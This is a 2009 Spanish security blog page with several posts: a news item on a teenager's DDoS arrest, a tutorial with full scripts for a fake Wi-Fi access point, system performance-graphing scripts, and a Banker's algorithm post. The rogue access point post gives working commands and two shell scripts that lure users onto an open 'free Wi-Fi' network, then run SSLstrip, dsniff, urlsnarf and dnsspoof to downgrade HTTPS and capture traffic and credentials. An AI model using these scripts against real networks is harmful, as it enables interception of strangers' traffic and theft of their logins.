Detenido un menor de edad por ataques DDoS

November 27th, 2009 No comments

El menor, un autodidacta informático, consiguió evadir protocolos de seguridad considerados como infranqueables.

Tras controlar más de 75.000 ordenadores repartidos por todo el mundo de internautas, lanzó un ataque masivo de más de doce millones de visitas, a una página web prestigiosa de la seguridad informática

“No sabemos” a qué se refieren exáctamente con eso de “(…)evadir protocolos de seguridad considerados como infranqueables.”, pero aun así, felicitar a la Guardia Civil por su trabajo en la operación “CANDELARIA”.

http://www.guardiacivil.org/prensa/notas/win_noticia.jsp?idnoticia=2724

https://foro.elhacker.net/noticias/un_menor_de_edad_imputado_en_un_ataque_masivo_contra_el_sitio_elhackernet-t275900.0.html

http://meneame.net/story/imputado-hacker-16-anos-habia-infectado-mas-75.000-ordenadores

http://elladodelmal.blogspot.com/2009/11/imputado-por-un-ddos-el-hackernet.html

http://www.elmundo.es/elmundo/2009/11/26/navegante/1259238023.html

http://www.europapress.es/islas-canarias/noticia-menor-detenido-tenerife-presunto-autor-ataque-informatico-20091126162644.html

http://www.abc.es/20091126/nacional-islas-baleares/menor-tenerife-imputado-ataque-200911261636.html

http://www.elpais.com/articulo/sociedad/hacker/anos/ataca/75000/ordenadores/elpepusoc/20091126elpepusoc_10/Tes

http://www.20minutos.es/noticia/575229/0/ataque/informatico/ordenadores/

http://www.publico.es/agencias/efe/273108/imputado/hacker/anos/infectado/ordenadores

http://www.elmundo.es/elmundo/2009/11/26/navegante/1259238023.html

Ni que decir tiene que el virus usado no era nada del otro mundo.

Categories: Ataques, General, Seguridad Tags:

Creando un punto de acceso falso – II

October 5th, 2009 11 comments

Post Actualizado: http://safetybits.net/2011/03/30/howto-rogue-ap/

Hace algún tiempo escribí un artículo a modo de manual con un script final para crear puntos de acceso falso usando airbase-ng.

En este segundo artículo, voy a resumir brevemente los pasos mencionados en el primer artículo y mostrar diferentes caminos y algunas aplicaciones finales.

Lo primero será instalar los servidores DHCP y DNS necesarios, y ajustar su configuración. En este caso usaré como servidor DHCP “dhcp3-server” y como servidor DNS “bind9″.

Dado que queremos ofrecer conexión a internet a los clientes, debemos configurar el servidor DHCP para usar los rangos de IP que creamos más convenientes, en el archivo /etc/dhcp3/dhcpd.conf, en mi caso queda así:

ddns-update-style none;
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.33 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}

Para ahorrarnos problemas, nos aseguramos de que ambos demonios están detenidos:

/etc/init.d/dhcp3-server stop
/etc/init.d/bind9 stop

Acto seguido, ajustaremos los parámetros de “airbase-ng” en función a lo que queramos hacer, en mi caso crearé un AP con cifrado WEP, por lo que los pasos para montar el AP serán:

  1. airbase-ng -I 100 -P -C 2 -c 6 –essid Wifli_Gratis rausb0 -w 5A303031333439454430374333
  2. ifconfig at0 10.0.0.1 up
  3. dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
  4. sysctl net.ipv4.ip_forward=1
  5. iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
  6. /etc/init.d/bind9 start

Listo, con esto ya tendremos la red creada y proporcionaremos acceso a internet a los clientes:

Cell 06 – Address: XX:XX:XX:XX:XX:XX
ESSID:”Wifli”
Mode:Master
Channel:6
Frequency:2.437 GHz (Channel 6)
Quality=96/100  Signal level=-31 dBm  Noise level=-127 dBm
Encryption key:on
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
48 Mb/s; 54 Mb/s
Extra:tsf=ffffffffd4670326

Una vez tenemos a los clientes conectados, vamos con lo siguiente:

SSLstrip: Suplanta sesiones web HTTPS por HTTP

$ sudo apt-get install python python-twisted-web
$ wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.6.tar.gz && tar xf sslstrip-0.6.tar.gz

DSniff: Suite – Principalmente usaremos ‘dsniff’, ‘urlsnarf’ y ‘dnsspoof’ para suplantar nombres de dominio

  • Para distribuciones basadas en Debian: $ sudo apt-get install dsniff
  • Fuentes: http://monkey.org/~dugsong/dsniff/dsniff-2.3.tar.gz

p0f: Detección de SO pasivo

  • Para distribuciones basadas en Debian: $ sudo apt-get install p0f
  • Fuentes: http://lcamtuf.coredump.cx/p0f.tgz

TCPTrack: Monitor de conexiones TCP

  • Para distribuciones basadas en Debian: $ sudo apt-get install tcptrack
  • Fuentes: http://www.rhythm.cx/~steve/devel/tcptrack/release/1.2.0/source/tcptrack-1.2.0.tar.gz

Para comenzar está bien, aunque siempre podemos ponernos más “juguetones” y que el tráfico de red crezca de una manera descontrolada, usando karmetasploit.

Script para crear el AP:

#!/bin/sh
#
# Scriwap 1.5 - Script to create rogue AP
#
# Chema Garcia (a.k.a. sch3m4)
# [email protected]
# http://safetybits.net
#

RUTA_AIRBASE='/usr/local/sbin/airbase-ng'
RUTA_BIND9='/etc/init.d/bind9'
RUTA_DHCPD3S='/etc/init.d/dhcp3-server'
RUTA_DHCPD3='/usr/sbin/dhcpd3'
RUTA_CFG_DHCPD3='/etc/dhcp3/dhcpd.conf'
RUTA_SYSCTL='/sbin/sysctl'
RUTA_IPTABLES='/sbin/iptables'
AIRBASE_IFACE='at0'
LOG='.scriwap.log'

function check
{
 if [ ! $? -eq 0 ]
 then
 echo -e "[!] Error - Check "$LOG""
 exit $?
 fi
}

echo "###############################"
echo "#        SCRIWAP 1.5          #"
echo "#=============================#"
echo "#  Chema Garcia (aka sch3m4)  #"
echo "#      [email protected]      #"
echo "#      http://safetybits.net      #"
echo "###############################"
echo ""

if [ $# -lt 4 ]
then
 echo -e "Use: $0 <iface_inet> <iface_monitor> <ip_gw> <netmask> <airbase_opt>\n"
 echo -e "Ej: $0 wlan0 rausb0 10.0.0.1 255.0.0.0 -P -C 2 -c 6 --essid Wifli\n"
 exit 1
fi

if [ ! $UID -eq 0 ]
then
 sudo ls / 2>&1 >/dev/null
fi

#comienzo de parametros de airbase
ifacenet=$1
ifacemon=$2
ip=$3
mascara=$4
narg=$#
num=5

while [ $# -gt 0 ] && [ $num -le $narg ];do
 param="$param $5"
 shift
 num=$(($num+1))
done
param="$param $ifacemon"

#Activamos el IP Forwarding
echo "[+] Setting up IP Forwarding"
sudo $RUTA_SYSCTL net.ipv4.ip_forward=1 2>&1 >> $LOG
check

echo "[+] Stopping DHCP daemon"
sudo $RUTA_DHCPD3S stop 2>&1 >> $LOG
echo "[+] Stopping DNS daemon"
sudo $RUTA_BIND9 stop 2>&1 >> $LOG

echo "[+] Flushing 'nat' table"
sudo $RUTA_IPTABLES -t nat -F
check

echo "[+] Adding iptables rule"
sudo $RUTA_IPTABLES -t nat -A POSTROUTING -o $ifacenet -j MASQUERADE
check

echo "[+] Setting up Acces Point..."
sudo rmmod tun 2>&1 >> $LOG
xterm -e sudo $RUTA_AIRBASE $param &
sleep 3

echo "[+] Settin up interface $AIRBASE_IFACE"
sudo ifconfig $AIRBASE_IFACE $ip netmask $mascara up
check

echo "[+] Starting DHCP daemon"
sudo $RUTA_DHCPD3 -cf $RUTA_CFG_DHCPD3 $AIRBASE_IFACE 2>&1 >> $LOG
check

echo "[+] Starting DNS daemon"
sudo $RUTA_BIND9 start 2>&1 >> $LOG
check

echo -e "\n[+] Finished!\n"

exit 0

Script para lanzar las herramientas:

#!/bin/bash
#
# Chema Garcia (a.k.a. sch3m4)
# [email protected]
# http://safetybits.net
#

RUTA_IPTABLES='/sbin/iptables'
RUTA_SSLSTRIP='/home/sch3m4/FakeAP/sslstrip-0.6/sslstrip.py'
RUTA_DSNIFF='/usr/sbin/dsniff'
RUTA_URLSNARF='/usr/sbin/urlsnarf'
RUTA_DNSSPOOF='/usr/sbin/dnsspoof'
RUTA_P0F='/usr/sbin/p0f'
RUTA_TCPTRACK='/usr/bin/tcptrack'
RUTA_TCPDUMP='/usr/sbin/tcpdump'
PUERTO='4664'
RUTA_HOSTSDNS='' # You have to create a file to use dnsspoof

if [ ! $# -eq 1 ]
then
 echo -e "\nUse: $0 <iface>\n"
 exit 1
fi

if [ ! $UID -eq 0 ]
then
 sudo ls / 2>&1 >/dev/null
fi

echo -e "[?] Do you want to save the capture using tcpdump? (y/n): \c"
read SAVE

if [ "$SAVE" == 'y' ] || [ y"$SAVE" == 'y' ]
then
 SAVE_FILE=''
 while [ -z "$SAVE_FILE" ]
 do
 echo -e "[?] Filename: \c"
 read SAVE_FILE
 done
else
 SAVE_FILE=''
fi

echo '[+] Adding iptables rule'
sudo $RUTA_IPTABLES -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $PUERTO

echo -e '[+] Launching SSLstrip...\c'
xterm -e sudo $RUTA_SSLSTRIP -l $PUERTO &
echo 'OK'

echo -e '[+] Launching Dsniff...\c'
xterm -e sudo $RUTA_DSNIFF -i $1 &
echo 'OK'

if [ ! -z "$RUTA_HOSTSDNS" ]
then
 echo -e '[+] Launching DNSspoof...\c'
 xterm -e sudo $RUTA_DNSSPOOF -i $1 -f $RUTA_HOSTSDNS &
 echo 'OK'
fi

echo -e '[+] Launching p0f...\c'
xterm -e sudo $RUTA_P0F -i $1 -U -t &
echo 'OK'

echo -e '[+] Launching TCPtrack...\c'
xterm -e sudo $RUTA_TCPTRACK -i $1 &
echo 'OK'

echo -e '[+] Launching URLsnarf...\c'
xterm -e sudo $RUTA_URLSNARF -i $1 &
echo 'OK'

if [ ! -z "$SAVE_FILE" ]
then
 echo -e '[+] Launching TCPDump...\c'
 xterm -e sudo $RUTA_TCPDUMP -i $1 -w $SAVE_FILE &
 echo 'OK'
fi

exit 0

Ambos scripts están disponibles en:

http://pastebin.com/f671cce89
http://pastebin.com/f332a2d1a

Gráficas de rendimiento – Consumo de %CPU y Memoria

May 30th, 2009 6 comments

Sí, este post también habla sobre desarrollo en GNU/Linux… Cuando desarrollamos una aplicación, puede que nos guste/necesitemos ver el rendimiento de esta, así que buscando sobre cómo podría monitorizar el tiempo de CPU y el uso de memoria de una aplicación, me encuentro sin querer con aplicaciones como Cacti, MRTG, a demás de los administradores de taréas de cada uno de los entornos de escritorio de GNU/Linux y todos y cada uno de sus plugins, versiones, modificaciones, changelogs, etc. Pero lo que realmente andaba buscando era algo mucho más simple, alguna utilidad que me permitiese generar una gráfica simple del consumo de CPU y memoria de X programa, así que al no encontrarlo, decidí utilizar un script en python que encontré en un foro, para medir el uso total de la memoria usada por cada uno de los procesos, y escribir algunos scripts para crearme la herramienta que necesitaba, ayudado por gnuplot, para crear gráficas como esta:

1

Aquí os dejo los scripts:

ps_mem.py

#!/usr/bin/env python

# Try to determine how much RAM is currently being used per program.
# Note the per program, not per process. So for example this script
# will report mem used by all httpd process together. In detail it reports:
# sum(all RSS for process instances) + max(shared mem for any process instance)
#
# The shared calculation below will factor out shared text and
# libs etc. within a program, but not between programs. So there
# will always be some overestimation. This will be the same for
# all processes that just use libc for e.g. but more for others
# that use larger shared libs like gnome, kde etc.

# Author: [email protected]

# V1.0      06 Jul 2005    Initial release
# V1.1      11 Aug 2006    root permission required for accuracy
# V1.2      08 Nov 2006    Add total to output
#                          Use KiB,MiB,… for units rather than K,M,…
# V1.3      22 Nov 2006    Ignore shared col from /proc/$pid/statm for
#                          2.6 kernels up to and including 2.6.9.
#                          There it represented the total file backed extent
# V1.4      23 Nov 2006    Remove total from output as it’s meaningless
#                          (the shared values overlap with other programs).
#                          Display the shared column. This extra info is
#                          useful, especially as it overlaps between programs.
# V1.5      26 Mar 2007    Remove redundant recursion from human()
# V1.6      05 Jun 2007    Also report number of processes with a given name.
#                          Patch from [email protected]

# Notes:
#
# All interpreted programs where the interpreter is started
# by the shell or with env, will be merged to the interpreter
# (as that’s what’s given to exec). For e.g. all python programs
# starting with “#!/usr/bin/env python” will be grouped under python.
# You can change this by changing comm= to args= below but that will
# have the undesirable affect of splitting up programs started with
# differing parameters (for e.g. mingetty tty[1-6]).
#
# For 2.6 kernels up to and including 2.6.13 and later 2.4 redhat kernels
# (rmap vm without smaps) it can not be accurately determined how many pages
# are shared between processes in general or within a program in our case:
# http://lkml.org/lkml/2005/7/6/250
# A warning is printed if overestimation is possible.
# In addition for 2.6 kernels up to 2.6.9 inclusive, the shared
# value in /proc/$pid/statm is the total file-backed extent of a process.
# We ignore that, introducing more overestimation, again printing a warning.
#
# I don’t take account of memory allocated for a program
# by other programs. For e.g. memory used in the X server for
# a program could be determined, but is not.
#
# This script assumes threads are already merged by ps

# TODO:
#
# use ps just to enumerate the pids and names
# so as to remove the race between reading rss and shared values

import sys, os, string

if os.geteuid() != 0:
sys.stderr.write(“Sorry, root permission required.\n”);
sys.exit(1)

PAGESIZE=os.sysconf(“SC_PAGE_SIZE”)/1024 #KiB
our_pid=os.getpid()

#(major,minor,release)
def kernel_ver():
kv=open(“/proc/sys/kernel/osrelease”).readline().split(“.”)[:3]
for char in “-_”:
kv[2]=kv[2].split(char)[0]
return (int(kv[0]), int(kv[1]), int(kv[2]))

kv=kernel_ver()

def getShared(pid):
if os.path.exists(“/proc/”+str(pid)+”/smaps”):
shared_lines=[line
for line in open("/proc/"+str(pid)+"/smaps").readlines()
if line.find("Shared")!=-1]
return sum([int(line.split()[1]) for line in shared_lines])
elif (2,6,1) <= kv <= (2,6,9):
return 0 #lots of overestimation, but what can we do?
else:
return int(open(“/proc/”+str(pid)+”/statm”).readline().split()[2])*PAGESIZE

cmds={}
shareds={}
count={}
for line in os.popen(“ps -e -o rss=,pid=,comm=”).readlines():
size, pid, cmd = map(string.strip,line.strip().split(None,2))
if int(pid) == our_pid:
continue #no point counting this process
try:
shared=getShared(pid)
except:
continue #ps gone away
if shareds.get(cmd):
if shareds[cmd] < shared:
shareds[cmd]=shared
else:
shareds[cmd]=shared
#Note shared is always a subset of rss (trs is not always)
cmds[cmd]=cmds.setdefault(cmd,0)+int(size)-shared
if count.has_key(cmd):
count[cmd] += 1
else:
count[cmd] = 1

#Add max shared mem for each program
for cmd in cmds.keys():
cmds[cmd]=cmds[cmd]+shareds[cmd]

sort_list = cmds.items()
sort_list.sort(lambda x,y:cmp(x[1],y[1]))
sort_list=filter(lambda x:x[1],sort_list) #get rid of zero sized processes (kernel threads)

#The following matches “du -h” output
#see also human.py
def human(num, power=”Ki”):
powers=["Ki","Mi","Gi","Ti"]
while num >= 1000: #4 digits
num /= 1024.0
power=powers[powers.index(power)+1]
return “%.1f %s” % (num,power)

def cmd_with_count(cmd, count):
if count>1:
return “%s (%u)” % (cmd, count)
else:
return cmd
print ” Private  +  Shared  =  RAM used\tProgram \n”
for cmd in sort_list:
print “%8sB + %8sB = %8sB\t%s” % (human(cmd[1]-shareds[cmd[0]]), human(shareds[cmd[0]]), human(cmd[1]),
cmd_with_count(cmd[0], count[cmd[0]]))
print “\n Private  +  Shared  =  RAM used\tProgram \n”

#Warn of possible inaccuracies
#1 = accurate
#0 = some shared mem not reported
#-1= all shared mem not reported
def shared_val_accurate():
“”"http://wiki.apache.org/spamassassin/TopSharedMemoryBug”"”
if kv[:2] == (2,4):
if open(“/proc/meminfo”).read().find(“Inact_”) == -1:
return 1
return 0
elif kv[:2] == (2,6):
if os.path.exists(“/proc/”+str(os.getpid())+”/smaps”):
return 1
if (2,6,1) <= kv <= (2,6,9):
return -1
return 0
else:
return 1

vm_accuracy = shared_val_accurate()
if vm_accuracy == -1:
sys.stderr.write(“Warning: Shared memory is not reported by this system.\n”)
sys.stderr.write(“Values reported will be too large.\n”)
elif vm_accuracy == 0:
sys.stderr.write(“Warning: Shared memory is not reported accurately by this system.\n”)
sys.stderr.write(“Values reported could be too large.\n”)

datos.sh

#!/bin/bash

if [ ! $# -eq 2 ]
then
echo “Uso: $0 <proceso> <iteraciones>”
exit 1
fi

PID=`ps -e | grep $1 | awk ‘{print $1}’`

if [ -z "$PID" ]
then
echo “Proceso $1 no encontrado”
unset PID
exit 2
fi

PS_MEM=”./ps_mem.py”
ARCHIVOM=”/tmp/memoria.dat”
ARCHIVOC=”/tmp/cpu.dat”

rm -f “$ARCHIVOC” “$ARCHIVOM”

cont=0
while [ $cont -lt $2 ]
do
#uso de memoria
dMEM=`”$PS_MEM” | grep “$1″ | awk ‘{print \$7}’`
if [ -z "$dMEM" ]
then
dMEM=0
fi
echo $dMEM >> “$ARCHIVOM”

#quantum de CPU
dCPU=`top -n1 -p $PID | grep “$1″ | tr -s ” *” ‘;’ | awk -F\; ‘{print \$10}’`
if [ -z "$dCPU" ]
then
dCPU=0
fi
echo $dCPU >> “$ARCHIVOC”

echo “$cont) Memoria (MB): $dMEM | %CPU: $dCPU”
let cont=cont+1
done

unset dCPU cont dMEM ARCHIVOC ARCHIVOM PS_MEM PID
exit 0

grafica.sh

#!/bin/sh

if [ ! $# -eq 1 ]
then
echo “Uso: $0 ”
exit 1
fi

ARCHIVOM=”/tmp/memoria.dat”
ARCHIVOC=”/tmp/cpu.dat”

if [ ! -f "$ARCHIVOM" ] || [ ! -f "$ARCHIVOC" ]
then
echo “No se encuentran $ARCHIVOM , $ARCHIVOC”
unset ARCHIVOM ARCHIVOC
exit 2
fi

TMPM=”/tmp/mtmp.dat”
TMPC=”/tmp/ctmp.dat”

cont=0;
while read line; do
echo $cont ${line#*\ };
cont=$(( $cont + 1 ));
done < $ARCHIVOM > $TMPM

cont=0;
while read line; do
echo $cont ${line#*\ };
cont=$(( $cont + 1 ));
done < $ARCHIVOC > $TMPC

PLOT=”/tmp/gp1.dat”

rm -f “$PLOT” “$1″

echo “set terminal png” > $PLOT
echo “set title \”RENDIMIENTO\”" >> $PLOT
echo “set grid” >> $PLOT
echo “set ylabel \”Consumo\”" >> $PLOT
echo “set xlabel \”Tiempo\”" >> $PLOT
echo “set output \”$1\”" >> $PLOT
echo “plot \”$TMPM\” w lines title \”Memoria (MB)\”,\”$TMPC\” w lines title \”Uso %CPU\”" >> $PLOT

gnuplot $PLOT

rm -f “$PLOT” “$TMPM” “$TMPC”
unset ARCHIVO TMPM TMPC cont PLOT
exit 0

rendimiento.sh

#!/bin/bash

VISOR=”gpicview ”
if [ ! $# -eq 3 ]
then
echo “Uso: $0

unset VISOR
exit 1
fi

DATOS=”./datos.sh”
GRAFICA=”./grafica.sh”

if [ ! -f "$DATOS" ] || [ ! -f "$GRAFICA" ]
then
echo “No se encuentran \”$DATOS\” , \”$GRAFICA\”"
unset DATOS GRAFICA VISOR
exit 1
fi

$DATOS $1 $3

echo -e “\nGenerando grafica…”
$GRAFICA $2
unset DATOS GRAFICA

echo ‘Visualizando…’
$VISOR $2 &

unset VISOR
exit 0

El script principal es rendimiento.sh al que deben pasársele como argumentos el nombre del proceso, la ruta de la imagen de destino, y el número de iteraciones para recabar información sobre el consumo de CPU y memoria. Después de esto usará gnuplot para crear la gráfica y el visor especificado en “rendimiento.sh” para visualizar la imagen.

Un ejemplo sería este: ./rendimiento.sh Xorg ./grf_xorg.png 30

Categories: Bash Script, GNU/Linux, Programacion Tags:

Algoritmo del Banquero – Implementacion (C)

May 25th, 2009 1 comment

Hace poco tiempo tuve que hacer una implementación del Algoritmo del Banquero usado en SSOO, aquí os dejo un extracto de la Wikipedia y el enlace al código:

http://es.wikipedia.org/wiki/Algoritmo_del_banquero

El Algoritmo del banquero, en sistemas operativos es una forma de evitar el interbloqueo, propuesta por primera vez por Edsger Dijkstra. Es un acercamiento teórico para evitar los interbloqueos en la planificación de recursos. Requiere conocer con anticipación los recursos que serán utilizados por todos los procesos. Esto último generalmente no puede ser satisfecho en la práctica.

Este algoritmo usualmente es explicado usando la analogía con el funcionamiento de un banco. Los clientes representan a los procesos, que tienen un crédito límite, y el dinero representa a los recursos. El banquero es el sistema operativo.

El banco confía en que no tendrá que permitir a todos sus clientes la utilización de todo su crédito a la vez. El banco también asume que si un cliente maximiza su crédito será capaz de terminar sus negocios y retornar el dinero de vuelta a la entidad, permitiendo servir a otros clientes.

El algoritmo mantiene al sistema en un estado seguro. Un sistema se encuentra en un estado seguro si existe un orden en que pueden concederse las peticiones de recursos a todos los procesos, previniendo el interbloqueo. El algoritmo del banquero funciona encontrando estados de este tipo.

Los procesos piden recursos, y son complacidos siempre y cuando el sistema se mantenga en un estado seguro después de la concesión. De lo contrario, el proceso es suspendido hasta que otro proceso libere recursos suficientes.

En términos más formales, un sistema se encuentra en un estado seguro si existe una secuencia segura. Una secuencia segura es una sucesión de procesos, < P1,…, Pn > , donde para un proceso Pi, el pedido de recursos puede ser satisfecho con los recursos disponibles sumados los recursos que están siendo utilizados por Pj, donde j < i. Si no hay suficientes recursos para el proceso Pi, debe esperar hasta que algún proceso Pj termine su ejecución y libere sus recursos. Recién entonces podrá Pi tomar los recursos necesarios, utilizarlos y terminar su ejecución. Al suceder esto, el proceso Pi+1 puede tomar los recursos que necesite, y así sucesivamente. Si una secuencia de este tipo no existe, el sistema se dice que está en un estado inseguro, aunque esto no implica que esté bloqueado.

Así, el uso de este tipo de algoritmo permite impedir el interbloqueo, pero supone una serie de restricciones:

  • Se debe conocer la máxima demanda de recursos por anticipado.
  • Los procesos deben ser independientes, es decir que puedan ser ejecutados en cualquier orden. Por lo tanto su ejecución no debe estar forzada por condiciones de sincronización.
  • Debe haber un número fijo de recursos a utilizar y un número fijo de procesos.
  • Los procesos no pueden finalizar mientras retengan recursos.

Descarga

Categories: C/C++, Programacion, SSOO Tags:

Solucionario Reto Panda Security #1-#3

May 6th, 2009 No comments

Para tenerlo más accesible y organizado, aquí tenéis los enlaces a los posts con las soluciones:

Solucion Reto 1AbsshA
Solucion Reto 2 – Guan & AbsshA
Solucion Reto 3RoMaNSoFt

Categories: Ing. Inversa, MS Windows, Programacion, Retos Tags: